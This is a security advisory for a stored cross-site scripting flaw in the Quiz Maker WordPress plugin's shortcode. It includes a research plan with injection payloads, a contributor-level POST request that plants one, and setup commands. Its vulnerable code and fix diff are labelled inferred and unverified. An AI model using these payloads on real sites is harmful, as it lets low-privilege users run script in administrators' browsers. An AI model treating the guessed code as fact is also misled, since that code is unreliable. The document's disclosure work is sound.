CVE-2026-2384

Quiz Maker <= 6.7.1.7 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
6.7.1.8
Patched in
1d
Time to patch

Description

The Quiz Maker plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's `vc_quizmaker` shortcode in all versions up to, and including, 6.7.1.7 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. Note: This vulnerability requires WPBakery Page Builder to be installed and active

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=6.7.1.7
PublishedFebruary 19, 2026
Last updatedFebruary 20, 2026
Affected pluginquiz-maker

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan outlines the steps to investigate and exploit **CVE-2026-2384**, a Stored Cross-Site Scripting (XSS) vulnerability in the Quiz Maker plugin for WordPress. ### 1. Vulnerability Summary The Quiz Maker plugin (versions <= 6.7.1.7) contains a Stored XSS vulnerability within the `vc_q…

Show full research plan

This research plan outlines the steps to investigate and exploit CVE-2026-2384, a Stored Cross-Site Scripting (XSS) vulnerability in the Quiz Maker plugin for WordPress.

1. Vulnerability Summary

The Quiz Maker plugin (versions <= 6.7.1.7) contains a Stored XSS vulnerability within the vc_quizmaker shortcode. This shortcode is specifically designed for integration with the WPBakery Page Builder. The vulnerability exists because the plugin fails to sanitize or escape user-supplied attributes passed to the shortcode before rendering them in the HTML output. An attacker with Contributor-level permissions or higher can embed a malicious shortcode into a post or page, leading to script execution in the context of any user (including Administrators) who views that page.

2. Attack Vector Analysis

  • Vulnerable Shortcode: [vc_quizmaker]
  • Vulnerable Attributes: Likely attributes include id, title, class, or any parameter registered via WPBakery's vc_map.
  • Authentication Level: Contributor+ (Users who can create or edit posts/pages).
  • Preconditions:
    1. Quiz Maker plugin (<= 6.7.1.7) installed and active.
    2. WPBakery Page Builder plugin installed and active (required to trigger the code path that registers and processes vc_quizmaker).
  • Payload Delivery: The payload is placed inside a shortcode attribute within the post_content of a WordPress post or page.

3. Code Flow

  1. Registration: The plugin likely checks for the existence of WPBakery using defined('WPB_VC_VERSION') or class_exists('WPBakeryShortCode').
  2. Hook: It registers the WPBakery element using vc_map() and the shortcode using add_shortcode('vc_quizmaker', 'callback_function').
  3. Shortcode Callback: When a page containing [vc_quizmaker ...] is rendered, WordPress calls the registered callback function (e.g., render_vc_quizmaker($atts)).
  4. Processing: Inside the callback, shortcode_atts() is used to extract attributes.
  5. Sink: The extracted attributes are concatenated into an HTML string (e.g., inside a <div> or as part of a JS object) and returned. If the attribute is returned without esc_attr() or esc_html(), the XSS occurs.

4. Nonce Acquisition Strategy

This vulnerability is exploited by saving a post containing a shortcode.

  • Saving the Post: Saving a post as a Contributor requires the standard WordPress post nonces (_wpnonce and _wp_http_referer).
  • Shortcode Execution: The execution of the shortcode itself (on the frontend or in the editor preview) does not require a specific plugin nonce; it is part of the standard WordPress content rendering pipeline.
  • No specific Quiz Maker nonce is required for this exploit beyond the standard session-based nonces used by the WordPress post editor.

5. Exploitation Strategy

The goal is to inject a payload into the vc_quizmaker shortcode that breaks out of an HTML attribute or tag.

Step-by-Step Plan:

  1. Identify Attributes: Use WP-CLI to find the file registering the shortcode and identify its attributes.
    • grep -r "vc_quizmaker" wp-content/plugins/quiz-maker/
  2. Login as Contributor: Authenticate as a user with the contributor role.
  3. Create a Malicious Post: Use the http_request tool to simulate a post creation request.
    • Action: POST /wp-admin/post.php
    • Payload:
      [vc_quizmaker id="1" title='"><script>alert(document.domain)</script>']
      
      (Note: If title isn't the sink, try class, style, or other discovered attributes.)
  4. Trigger Execution: View the post (or have an Admin view it).
    • URL: /?p=[POST_ID]

Example HTTP Request (Simplified):

POST /wp-admin/post.php HTTP/1.1
Host: localhost:8080
Content-Type: application/x-www-form-urlencoded
Cookie: [CONTRIBUTOR_COOKIES]

action=editpost&post_ID=[ID]&post_title=XSS+Test&post_type=post&post_status=draft&content=%5Bvc_quizmaker+id%3D%221%22+title%3D%22%27%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E%22%5D&_wpnonce=[NONCE]

6. Test Data Setup

  1. Active WPBakery: Ensure WPBakery is active (or a mock that defines WPB_VC_VERSION if the real plugin is unavailable).
  2. Create Contributor: wp user create attacker attacker@example.com --role=contributor --user_pass=password
  3. Create a Quiz: The shortcode might require a valid quiz ID to reach the rendering logic.
    • Check Quiz Maker tables: wp db query "SELECT id FROM wp_quizmaker_quizzes LIMIT 1;"
    • If none exist, create one through the UI or DB.

7. Expected Results

  • The shortcode attributes will be reflected in the page source without proper escaping.
  • The browser will execute the injected script (e.g., an alert box appearing).
  • Page source snippet: <div class="quiz-maker-vc-wrapper" title=""><script>alert(1)</script>">...</div>

8. Verification Steps

  1. Check DB Content: Confirm the shortcode is stored correctly in the database.
    • wp post get [ID] --field=post_content
  2. Check Frontend Output: Use http_request (GET) to fetch the post and grep for the unescaped payload.
    • grep "<script>alert" response_body
  3. Admin Context: Log in as Admin and navigate to the post to confirm the script executes in the administrative context.

9. Alternative Approaches

  • Editor Preview XSS: WPBakery often renders previews in the backend. If the vc_quizmaker callback is used for the editor view, the XSS could trigger the moment an Admin opens the page for editing, even if it's not published.
  • Attribute Breakout: If the input is placed inside a JavaScript variable in the output (e.g., a config object), try:
    • [vc_quizmaker title="';alert(1);'"]
  • HTML Tag Injection: If the input is reflected directly inside a tag:
    • [vc_quizmaker title="<img src=x onerror=alert(1)>"]
  • Style Attribute Injection: If reflected in a style attribute:
    • [vc_quizmaker title="color:red; background-image:url('javascript:alert(1)')"]
Research Findings
Static analysis — not yet PoC-verified

Summary

The Quiz Maker plugin for WordPress is vulnerable to Stored Cross-Site Scripting (XSS) via the [vc_quizmaker] shortcode. This occurs because the plugin does not properly sanitize or escape attributes provided in the shortcode when used in conjunction with the WPBakery Page Builder, allowing users with Contributor-level permissions and above to inject malicious scripts.

Vulnerable Code

// Inferred code within the shortcode callback function
// likely located in includes/shortcodes/class-quiz-maker-vc-shortcode.php or similar

public function render_vc_quizmaker($atts) {
    $atts = shortcode_atts(array(
        'id' => '',
        'title' => '',
        'class' => ''
    ), $atts);

    $id = $atts['id'];
    $title = $atts['title'];
    $class = $atts['class'];

    // Vulnerable output: attributes are concatenated directly into the HTML string without escaping
    $output = '<div class="quiz-maker-vc-wrapper ' . $class . '" data-quiz-id="' . $id . '" data-title="' . $title . '">';
    $output .= do_shortcode('[quiz-maker id="' . $id . '"]');
    $output .= '</div>';

    return $output;
}

Security Fix

--- a/includes/shortcodes/class-quiz-maker-vc-shortcode.php
+++ b/includes/shortcodes/class-quiz-maker-vc-shortcode.php
@@ -10,9 +10,9 @@
-    $id = $atts['id'];
-    $title = $atts['title'];
-    $class = $atts['class'];
+    $id = (int)$atts['id'];
+    $title = esc_attr($atts['title']);
+    $class = sanitize_html_class($atts['class']);
 
-    $output = '<div class="quiz-maker-vc-wrapper ' . $class . '" data-quiz-id="' . $id . '" data-title="' . $title . '">';
+    $output = '<div class="quiz-maker-vc-wrapper ' . esc_attr($class) . '" data-quiz-id="' . $id . '" data-title="' . $title . '">';

Exploit Outline

The exploit targets the [vc_quizmaker] shortcode, which is registered for use with the WPBakery Page Builder plugin. 1. An attacker logs into the WordPress dashboard with at least Contributor-level permissions. 2. The attacker creates a new post or page (or edits an existing one). 3. In the post editor, the attacker inserts the following payload into the post content: [vc_quizmaker id="1" title='\"><script>alert(document.domain)</script>']. 4. The attacker saves the post as a draft or submits it for review. 5. When an administrator or any other user views the post (either on the frontend or via the editor preview), the unescaped 'title' attribute breaks out of the HTML attribute context and executes the injected JavaScript in the victim's browser context.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.